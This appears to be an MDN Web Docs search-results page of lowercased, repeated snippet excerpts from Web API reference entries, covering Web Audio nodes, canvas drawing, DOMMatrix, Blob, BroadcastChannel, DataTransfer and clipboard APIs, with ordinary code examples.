new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.li
newidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x ...
BaseAudioContext.createPeriodicWave() - Web APIs
abled by default.) it takes one property: disablenormalization: if set to true, normalization is disabled for the periodic wave. the default is false. if normalized, the resulting wave will have a maximum absolute peak value of 1. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
...property: disablenormalization: if set to true, normalization is disabled for the periodic wave. the default is false. if normalized, the resulting wave will have a maximum absolute peak value of 1. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
...tion: if set to true, normalization is disabled for the periodic wave. the default is false. if normalized, the resulting wave will have a maximum absolute peak value of 1. example the following example illustrates simple usage of createperiodicwave(), to create a periodicwave object containing a simple sine wave. ...
BaseAudioContext - Web APIs
ontext.createanalyser() creates an analysernode, which can be used to expose audio time and frequency data and for example to create data visualisations. baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a
new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode. baseaudiocontext.createbuffersource() creates an audiobuffersourcenode, which can be used to play and manipulate audio data contained within an audiobuffer object. audiobuffers are created using audiocontext.createbuffer or returned by audiocontext.decodeaudiodata when it successfully decodes...
...tortion effects. baseaudiocontext.decodeaudiodata() asynchronously decodes audio file data contained in an arraybuffer. in this case, the arraybuffer is usually loaded from an xmlhttprequest's response attribute after setting the responsetype to arraybuffer. this method only works on complete files, not fragments of audio files. ...
...he arraybuffer is usually loaded from an xmlhttprequest's response attribute after setting the responsetype to arraybuffer. this method only works on complete files, not fragments of audio files. examples basic audio context declaration: const audiocontext =
new audiocontext(); cross browser variant: const audiocontext = window.audiocontext || window.webkitaudiocontext; const audiocontext =
new audiocontext(); const oscillatornode = audiocontext.createoscillator(); const gainnode = audiocontext.creategain(); const finish = audiocontext.destination; specifications specification status comment web audio apithe definition of 'baseaudiocontext' in that specification. working draft ...
BiquadFilterNode.getFrequencyResponse() - Web APIs
le we are using a biquad filter on a media stream (for the full demo, see our stream-source-buffer demo live, or read the source.) as part of this demo, we get the frequency responses for this biquad filter, for five sample frequencies. ...
...r this biquad filter, for five sample frequencies. ...
...es. ...
Blob.slice() - Web APIs
the blob interface's slice() method creates and returns a
new blob object which contains data from a subset of the blob on which it's called. syntax var
newblob = blob.slice(start, end, contenttype); parameters start optional an index into the blob indicating the first byte to include in the
new blob. if you specify a negative value, it's treated as an offset from the end of the blob toward the beginning. for example, -10 would be the 10th from last byte in the blob. the default value is 0. if you specify a value for start that is larger than the size of the source blob, the returned blob has size 0 and contains no data. end optional an index into the blob indicating the first byte that will *not* be included in the
new blob (i.e. the byte exactly at this index is not included). if ...
...the original blob is not altered. ...
...tly at this index is not included). if you specify a negative value, it's treated as an offset from the end of the blob toward the beginning. for example, -10 would be the 10th from last byte in the blob. the default value is size. contenttype optional the content type to assign to the
new blob; this will be the value of its type property. the default value is an empty string. return value a
new blob object containing the specified subset of the data contained within the blob on which this method was called. the original blob is not altered. specifications specification status comment file apithe definition of 'blob.slice()' in that specification. working draft initial definition ...
Body.arrayBuffer() - Web APIs
tion(buffer) { // do something with buffer }); parameters none. return value a promise that resolves with an arraybuffer. examples playing music in our fetch array buffer live, we have a play button. when pressed, the getdata() function is run. note that before playing full audio file will be downloaded. if you need to play ogg during downloading (stream it) - consider htmlaudioelement:
new audio("music.ogg").play(); in getdata() we create a
new request using the request() constructor, then use it to fetch an ogg music track. we also use audiocontext.createbuffersource to create an audio buffer source. when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the a...
...ta as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination. ...
... living standard ...
BroadcastChannel: message event - Web APIs
adcast-message" type="button">broadcast message</button> body { border: 1px solid black; padding: .5rem; height: 150px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } textarea { padding: .2rem; } label, br { margin: .5rem 0; } button { vertical-align: top; height: 1.5rem; } const channel =
new broadcastchannel('example-channel'); const messagecontrol = document.queryselector('#message'); const broadcastmessagebutton = document.queryselector('#broadcast-message'); broadcastmessagebutton.addeventlistener('click', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; ...
...adcast-message'); broadcastmessagebutton.addeventlistener('click', () => { channel.postmessage(messagecontrol.value); }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel =
new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel =...
...broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel =
new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); result specifications specification status html living standard living standard ...
CSSStyleSheet - Web APIs
nd deleterule() methods. ownerrule read only if this stylesheet is imported into the document using an @import rule, the ownerrule property returns the corresponding cssimportrule; otherwise, this property's value is null. methods inherits methods from its parent, stylesheet. deleterule() deletes the rule at the specified index into the stylesheet's rule list. insertrule() inserts a
new rule at the specified position in the stylesheet, given the textual representation of the rule. legacy properties these properties are legacy properties first introduced by microsoft long ago; they shouldn't be used but are not likely to be removed anytime soon. rules read only the rules property is functionally identical to the standard cssrules property; it returns a live cssrulelist wh...
...d only the rules property is functionally identical to the standard cssrules property; it returns a live cssrulelist which maintains an up-to-date list of all of the rules in the style sheet. legacy methods these methods are legacy methods first introduced by microsoft; they should not be used if they can be avoided, but are not in danger of being removed anytime soon. addrule() adds a
new rule to the stylesheet given the selector to which the style applies and the style block to apply to the matching elements. this differs from insertrule(), which simply takes the textual representation of the entire rule as a single string. removerule() functionally identical to deleterule(); removes the rule at the specified index from the stylesheet's rule list. notes in some browsers,...
...ained using the document.stylesheets property. a specific style sheet can also be accessed from its owner object (node or cssimportrule), if any. a cssstylesheet object is created and inserted into the document's document.stylesheets list automatically by the browser, when a stylesheet is loaded for a document. as the stylesheet list cannot be modified directly, there's no useful way to create a
new cssstylesheet object manually (although constructable stylesheet objects is coming to the web platform soon and is already supported in blink). to create a
new stylesheet, insert a <style> or <link> element into the document. a (possibly incomplete) list of ways a stylesheet can be associated with a document follows: reason for the style sheet to be associated with the document appe...
CacheStorage.open() - Web APIs
syntax caches.open(cachename).then(function(cache) { // do something with your cache }); parameters cachename the name of the cache you want to open. ...
... syntax caches.open(cachename).then(function(cache) { // do something with your cache }); parameters cachename the name of the cache you want to open. ...
...our cache }); parameters cachename the name of the cache you want to open. return value a promise that resolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an installevent to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open() to create a
new cache, then using cache.addall() to add a series of assets to it. self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', ...
CanvasPattern.setTransform() - Web APIs
gmatrix. the pattern gets applied if you set it as the current fillstyle and gets drawn onto the canvas when using the fillrect() method, for example. ...
...ext('2d'); var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); var img =
new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that
newer browser versions started to support dommatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix =
new dommatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1"...
... and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:120px"> var img =
new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); };</textarea> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var textarea = document.
Compositing and clipping - Web APIs
l of our previous examples, shapes were always drawn one on top of the other. this is more than adequate for most situations, but it limits the order in which composite shapes are built. we can, however, change this behaviour by setting the globalcompositeoperation property. in addition, the clip property allows us to hide unwanted parts of shapes. globalcompositeoperation we can not only draw
new shapes behind existing shapes but we can also use it to mask off certain areas, clear sections from the canvas (not limited to rectangles like the clearrect() method does) and more. globalcompositeoperation = type this sets the type of compositing operation to apply when drawing
new shapes, where type is a string identifying which of the twelve compositing operations to use. see compositing...
...tside of this path won't get drawn on the canvas. if we compare clipping paths to the globalcompositeoperation property we've seen above, we see two compositing modes that achieve more or less the same effect in source-in and source-atop. the most important differences between the two are that clipping paths are never actually drawn to the canvas and the clipping path is never affected by adding
new shapes. this makes clipping paths ideal for drawing multiple shapes in a restricted area. in the chapter about drawing shapes i only mentioned the stroke() and fill() methods, but there's a third method we can use with paths, called clip(). clip() turns the path currently being built into the current clipping path. you use clip() instead of closepath() to close a path and turn it into a cl...
...></canvas> draw(); in the first few lines of code, we draw a black rectangle the size of the canvas as a backdrop, then translate the origin to the center. next, we create the circular clipping path by drawing an arc and calling clip(). clipping paths are also part of the canvas save state. if we wanted to keep the original clipping path we could have saved the canvas state before creating the
new one. everything that's drawn after creating the clipping path will only appear inside that path. you can see this clearly in the linear gradient that's drawn next. after this a set of 50 randomly positioned and scaled stars is drawn, using the custom drawstar() function. again the stars only appear inside the defined clipping path. screenshotlive sample « previousnext » ...
Transformations - Web APIs
estore() restores the most recently saved canvas state. canvas states are stored on a stack. every time the save() method is called, the current drawing state is pushed onto the stack. a drawing state consists of the transformations that have been applied (i.e. translate, rotate and scale – see below). the current values of the following attributes: strokestyle, fillstyle, globalalpha, li
newidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled. the current clipping path, which we'll see in the next section. you can call the save() method as many times as you like. each time the restore() method is called, the last saved state is popped off...
...tates functions by drawing a set of consecutive rectangles. ...
...s ctx.save(); // save the default state ctx.fillstyle = '#09f'; // make changes to the settings ctx.fillrect(15, 15, 120, 120); // draw a rectangle with
new settings ctx.save(); // save the current state ctx.fillstyle = '#fff'; // make changes to the settings ctx.globalalpha = 0.5; ctx.fillrect(30, 30, 90, 90); // draw a rectangle with
new settings ctx.restore(); // restore previous state ctx.fillrect(45, 45, 60, 60); // draw a rectangle with restored settings ctx.restore(); // restore original state ctx.fillrect(60, 60, 30, 30); // draw a rectangle with restored settings } <canvas id="canvas" width="150" height="150"></canvas> draw(); the first step is to draw a large rectangle with t...
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
context a baseaudiocontext representing the audio context you want the node to be associated with. ...
... context a baseaudiocontext representing the audio context you want the node to be associated with. ...
...the node to be associated with. options optional a channelsplitteroptions dictionary object defining the properties you want the channelsplitternode to have (it also inherits the options defined in the audionodeoptions dictionary): numberofoutputs: a number defining the number of inputs the channelsplitternode should have. if not specified, the default value used is 6. return value a
new channelsplitternode object instance. example var ac =
new audiocontext(); var options = { numberofoutputs : 2 } var mysplitter =
new channelsplitternode(ac, options); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification. working draft ...
Using channel messaging - Web APIs
such as games, address book, or an audio player with personalized music choices. when these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the iframes, or the different iframes. for example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add
new background music choices from the audio player onto the game? such things are not so easy using conventional web technology, because of the security models the web uses. you have to think about whether the origins trust one another, and how the messages are passed. message channels on the other hand can provide a secure channel that allows you to pass data between different browsing contexts. ...
... for entering messages to be sent to an <iframe>. we also have a paragraph which we will use later on to display confirmation messages that we will receive back from the <iframe>. ...
... when the iframe has loaded, we register an onclick handler for our button and an onmessage handler for messagechannel.port1. finally we transfer messagechannel.port2 to the iframe using the window.postmessage method. let's explore how the iframe.contentwindow.postmessage line works in a bit more detail. it takes three arguments: the ...
ClipboardItem() - Web APIs
the clipboarditem() constructor of the clipboard api creates a
new clipboarditem object which represents data to be stored or retrieved via the clipboard api, that is clipboard.write() and clipboard.read() respectively. note: image format support varies by browser. see the browser compatibility table for the clipboard interface. syntax var clipboarditem =
new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value. note: to work with text see the clipboard.readtext() and clipboard.writetext() methods of the clipboard interface. ...
...var clipboarditem =
new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value. note: to work with text see the clipboard.readtext() and clipboard.writetext() methods of the clipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a
new clipboarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. ...
... the fetch api, and in turn, the responses' blob() method, to create a
new clipboarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([
new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification. working draft initial definition. ...
ConstantSourceNode.offset - Web APIs
set property of the constantsourcenode interface returns a audioparam object indicating the numeric a-rate value which is always returned by the source when asked for the next sample. while the audioparam named offset is read-only, the value property within is not. so you can change the value of offset by setting the value of constantsourcenode.offset.value: myconstantsourcenode.offset.value =
newvalue; syntax let offsetparameter = constantaudionode.offset; let offset = constantsourcenode.offset.value; constantsourcenode.offset.value =
newvalue; value an audioparam object indicating the a-rate value returned for every sample by this node. the default value is 1.0. to access the offset parameter's current value, access the parameter's value property, as shown in the syntax box above.
...de3 = context.creategain(); gainnode2.gain.value = gainnode3.gain.value = 0.5; volumeslidercontrol.value = gainnode2.gain.value; constantsource = context.createconstantsource(); constantsource.connect(gainnode2.gain); constantsource.connect(gainnode3.gain); first, the gain nodes are created and configured, and a slider control's value is set to match the gain on the two nodes. then we create a
new constantsourcenode and make it the source for the two gain nodes' gainnode.gain values. each of those values is also an audioparam. let's say we have an event handler (for click events, in this case) which needs to respond by altering the value of the two gain nodes. with the linkage above in place, that can be done using this simple event handler: function handleclickevent(event) { volumesli...
... specifications specification status comment web audio apithe definition of 'offset' in that specification. working draft ...
ConvolverNode.buffer - Web APIs
recording could then be used as the buffer. this audiobuffer must have the same sample-rate as the audiocontext or an exception will be thrown. at the time when this attribute is set, the buffer and the state of the attribute will be used to configure the convolvernode with this impulse response having the given normalization. the initial value of this attribute is null. ...
...the time when this attribute is set, the buffer and the state of the attribute will be used to configure the convolvernode with this impulse response having the given normalization. the initial value of this attribute is null. syntax var audioctx =
new audiocontext(); var convolver = audioctx.createconvolver(); convolver.buffer = myaudiobuffer; value an audiobuffer. example var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ... ...
...ttribute is null. syntax var audioctx =
new audiocontext(); var convolver = audioctx.createconvolver(); convolver.buffer = myaudiobuffer; value an audiobuffer. example var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ... ...
ConvolverNode.normalize - Web APIs
ribute is set, or not. its default value is true in order to achieve a more uniform output level from the convolver, when loaded with diverse impulse responses. if normalize is set to false, then the convolution will be rendered with no pre-processing/scaling of the impulse response. changes to this value do not take effect until the next time the buffer attribute is set. ...
...erse impulse responses. if normalize is set to false, then the convolution will be rendered with no pre-processing/scaling of the impulse response. changes to this value do not take effect until the next time the buffer attribute is set. syntax var audioctx =
new audiocontext(); var convolver = audioctx.createconvolver(); convolver.normalize = false; value a boolean. example var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ... ...
...the buffer attribute is set. syntax var audioctx =
new audiocontext(); var convolver = audioctx.createconvolver(); convolver.normalize = false; value a boolean. example var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ... ...
DOMMatrix() - Web APIs
the dommatrix constructor creates a
new dommatrix object which represents 4x4 matrices, suitable for 2d and 3d operations.. syntax var dommatrix =
new dommatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string. example this example creates a dommatrix to use as an argument for calling point.matrixtransform(). ...
...bject which represents 4x4 matrices, suitable for 2d and 3d operations.. syntax var dommatrix =
new dommatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string. example this example creates a dommatrix to use as an argument for calling point.matrixtransform(). ...
... init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string. example this example creates a dommatrix to use as an argument for calling point.matrixtransform(). var point =
new dompoint(5, 4); var scalex = 2; var scaley = 3; var translatex = 12; var translatey = 8; var angle = math.pi / 2; var matrix =
new dommatrix([ math.sin(angle) * scalex, math.cos(angle) * scalex, -math.sin(angle) * scaley, math.cos(angle) * scaley, translatex, translatey ]); var transformedpoint = point.matrixtransform(matrix); specifications specification status comment geometry interfaces module level 1the definition of 'dommatrix' in that specification. candidate recommendation ...
DOMMatrix - Web APIs
the dommatrix interface represents 4×4 matrices, suitable for 2d and 3d operations including rotation and translation. it is a mutable version of the dommatrixreadonly interface. this interface should be available inside web workers, though some implementations don't allow it yet. constructor dommatrix() creates and returns a
new dommatrix object. properties this interface inherits properties from dommatrixreadonly, though some of these properties are altered to be mutable. is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. the identity matrix is one in which every value is 0 except those on the main diagonal from ...
...ied transform or transforms. returns itself. dommatrix.skewxself() modifies the matrix by applying the specified skew transformation along the x-axis. returns itself. dommatrix.skewyself() modifies the matrix by applying the specified skew transformation along the y-axis. returns itself. static methods this interface inherits methods from dommatrixreadonly. fromfloat32array() creates a
new mutable dommatrix object given an array of single-precision (32-bit) floating-point values. if the array has six values, the result is a 2d matrix; if the array has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. fromfloat64array() creates a
new mutable dommatrix object given an array of double-precision (64-bit) floating-point values. if the array has six valu...
... usage notes the matrix defined by the dommatrix interface is comprised of four rows of four columns each. ...
DOMMatrixReadOnly.flipX() - Web APIs
the original matrix is not modified. examples this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
...position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
...ill="red" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a
new matrix, which is then applied to the blue triangle, inverting it across the x-axis. the red triangle is left in place. const flipped = document.getelementbyid('flipped'); const matrix =
new dommatrixreadonly(); const flippedmatrix = matrix.flipx(); flipped.setattribute('transform', flippedmatrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.flipx()' in that specification. candidate recommendation initial definition ...
DOMMatrixReadOnly.translate() - Web APIs
the translate() method of the dommatrixreadonly interface creates a
new matrix being the result of the original matrix with a translation applied. syntax the translate() method accepts two or three values. dommatrix.translate(translatex, translatey[, translatez]) parameters translatex a number representing the abscissa (x-coordinate) of the translating vector. translatey a number representing the ordinate (y-coordinate) of the translating vector. translatez optional a number representing the z component of the translating vector. if not supplied, this defaults to 0. if this is anything other than 0, the resulting matrix will be 3d. return value returns a dommatrix containing a
new matrix being the result of the matrix being translated by the given vector. the original matr...
...ill be a 4x4 3d matrix. ...
... width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a
new, translated matrix — which is then applied to the blue square as a transform. the red square is left in place. const matrix =
new dommatrixreadonly().translate(25, 25); document.queryselector('#transformed').setattribute('transform', matrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.translate()' in that specification. candidate recommendation initial definition ...
DOMPointReadOnly() - Web APIs
the default value is 0. y optional the value of the vertical coordinate, y, as a floating point number. the default value is 0. z optional the value of the depth coordinate, z, as a floating point number. the default value is 0. w optional the value of the perspective, w, as a floating point number. the default is 1. note: each of these values is what's called an unrestricted number. ...
... value is 0. z optional the value of the depth coordinate, z, as a floating point number. the default value is 0. w optional the value of the perspective, w, as a floating point number. the default is 1. note: each of these values is what's called an unrestricted number. in addition to any finite floating-point value, you may use special values such as ±infinity and nan. ...
... a floating point number. the default is 1. note: each of these values is what's called an unrestricted number. in addition to any finite floating-point value, you may use special values such as ±infinity and nan. return value a
new dompointreadonly object representing the specified location in space. examples the following code demonstrates creating both 2d and 3d points. var point2d =
new dompointreadonly(50, 25); var point3d =
new dompointreadonly(50, 0, 10); var perspectivepoint3d =
new dompointreadonly(50, 50, 25, 0.5); specifications specification status comment geometry interfaces module level 1the definition of 'dompointreadonly' in that specification. candidate recommendation initial definition ...
DOMRectReadOnly() - Web APIs
the domrectreadonly() constructor creates a
new domrectreadonly object. syntax const mydomrectreadonly =
new domrectreadonly(x, y, width, height) parameters x the x coordinate of the domrectreadonly's origin. y the y coordinate of the domrectreadonly's origin. width the width of the domrectreadonly. height the height of the domrectreadonly. ...
... the domrectreadonly() constructor creates a
new domrectreadonly object. syntax const mydomrectreadonly =
new domrectreadonly(x, y, width, height) parameters x the x coordinate of the domrectreadonly's origin. y the y coordinate of the domrectreadonly's origin. width the width of the domrectreadonly. height the height of the domrectreadonly. ...
...rectreadonly object. syntax const mydomrectreadonly =
new domrectreadonly(x, y, width, height) parameters x the x coordinate of the domrectreadonly's origin. y the y coordinate of the domrectreadonly's origin. width the width of the domrectreadonly. height the height of the domrectreadonly. examples to create a
new dompoint, you could run a line of code like so: const mydomrect =
new domrectreadonly(0, 0, 100, 100) // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly()' in that specification. candidate recommendation initial definitio...
DataTransfer - Web APIs
the datatransfer object is used to hold the data that is being dragged during a drag and drop operation. it may hold one or more data items, each of one or more data types. for more information about drag and drop, see html drag and drop api. this object is available from the datatransfer property of all drag events. constructor datatransfer() creates and returns a
new datatransfer object. properties standard properties datatransfer.dropeffect gets the type of drag-and-drop operation currently selected or sets the operation to a
new type. the value must be none, copy, link or move. datatransfer.effectallowed provides all of the types of operations that are possible. must be one of none, copy, copylink, copymove, link, linkmove, move, all or uninitialized. datatransfer.files ...
...or the data transfer contains no data, this method will have no effect. datatransfer.getdata() retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data. datatransfer.setdata() set the data for a given type. if data for the type does not exist, it is added at the end, such that the last item in the types list will be the
new format. if data for the type already exists, the existing data is replaced in the same position. datatransfer.setdragimage() set the image to be used for dragging if a custom one is desired. gecko methods note: all of the methods in this section are gecko-specific. datatransfer.addelement() sets the drag source to the given element. deprecated methods datatransfer.mozcleardataat(...
...null if it does not exist. the index should be in the range from zero to the number of items minus one. removed in firefox 71. datatransfer.mozsetdataat() a data transfer may store multiple items, each at a given zero-based index. mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a
new item is added, and the mozitemcount is incremented by one. removed in firefox 71. datatransfer.moztypesat() holds a list of the format types of the data that is stored for an item at the specified index. if the index is not in the range from 0 to the number of items minus one, an empty string list is returned. removed in firefox 71. examples every method and property listed in this documen...
DataTransferItem.webkitGetAsEntry() - Web APIs
the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to cr...
...ner. the container is always a list element in this example, as you'll see shortly. once the current item is in the list, the item's isdirectory property is checked. if the item is a directory, we need to recurse into that directory. the first step is to create a filesystemdirectoryreader to handle fetching the directory's contents. that's done by calling the item's createreader() method. then a
new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which ar...
...t; this will contain the directory's contents in the next level down in the list's hierarchy. after that, directoryreader.readentries() is called to read in all the entries in the directory. these are each, in turn, passed into a recursive call to scanfiles() to process them. any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a
new level of the list's hierarchy is added below, and so forth. then come the event handlers. first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop ev...
DirectoryEntrySync - Web APIs
fted on april 19, 2011. this specification is pretty much abandoned, having failed to reach any substantial traction. basic concepts if you want to create subdirectories, you have to create each child directory in sequence. if you try to create a directory using a full path that includes parent directories that do not exist yet, you get an error. so create the hierarchy by recursively adding a
new path after creating the parent directory. example the getfile() method returns a fileentrysync, which represents a file in the file system. the following creates an empty file called seekrits.txt in the root directory. var fileentry = fs.root.getfile('seekrits.txt', {create: true}); the getdirectory() method returns a directoryentrysync, which represents a file in the file system. the follo...
...ating the parent directory. example the getfile() method returns a fileentrysync, which represents a file in the file system. the following creates an empty file called seekrits.txt in the root directory. var fileentry = fs.root.getfile('seekrits.txt', {create: true}); the getdirectory() method returns a directoryentrysync, which represents a file in the file system. the following creates a
new directory called superseekrit in the root directory. var direntry = fs.root.getdirectory('superseekrit', {create: true}); method overview directoryreadersync createreader () raises (fileexception); fileentrysync getfile (in domstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in domstring path, in optional flags options)...
... directoryreadersync createreader ( ) raises (fileexception); returns directoryreadersync represents a directory in a file system. parameter none exceptions this method can raise a fileexception with the following codes: exception description not_found_err the directory does not exist. securit...
Document.createProcessingInstruction() - Web APIs
syntax pinode = document.createprocessinginstruction(target, data) parameters pinode is the resulting processinginstruction node. target is a string containing the first part of the processing instruction (i.e., <?target … ?>) data is a string containing any information the processing instruction should carry, after the target. the data is up to you, but it can't contain ?>, since that closes the processing instruction. ...
...uction. exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>. the closing processing instruction sequence (?>) is part of the data. ...
... any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>. the closing processing instruction sequence (?>) is part of the data. example var doc =
new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(
new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification. living standard no change dom4the definition of 'createprocessinginstruction()' in that specification. obsolete add...
Document.createTextNode() - Web APIs
creates a
new text node. this method can be used to escape html characters. syntax var text = document.createtextnode(data); text is a text node. data is a string containing the data to be put in the text node. ...
... creates a
new text node. this method can be used to escape html characters. syntax var text = document.createtextnode(data); text is a text node. data is a string containing the data to be put in the text node. ...
...escape html characters. syntax var text = document.createtextnode(data); text is a text node. data is a string containing the data to be put in the text node. ...
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css background for a background with a given background element id. syntax document.mozsetimageelement(imageelementid, imageelement); parameters imageelementid is a string indicating the name of an element that has been specified as a background image using the -moz-element css function. imageelement is the
new element to use as the background corresponding to that image element string. specify null to remove the background element. example this example changes the background of a <div> block each time the block is clicked by the user. view this example live. <style type="text/css"> #mybox { background-image: -moz-element(#canvasbg); text-align: center; width: 400px; height: 400px;...
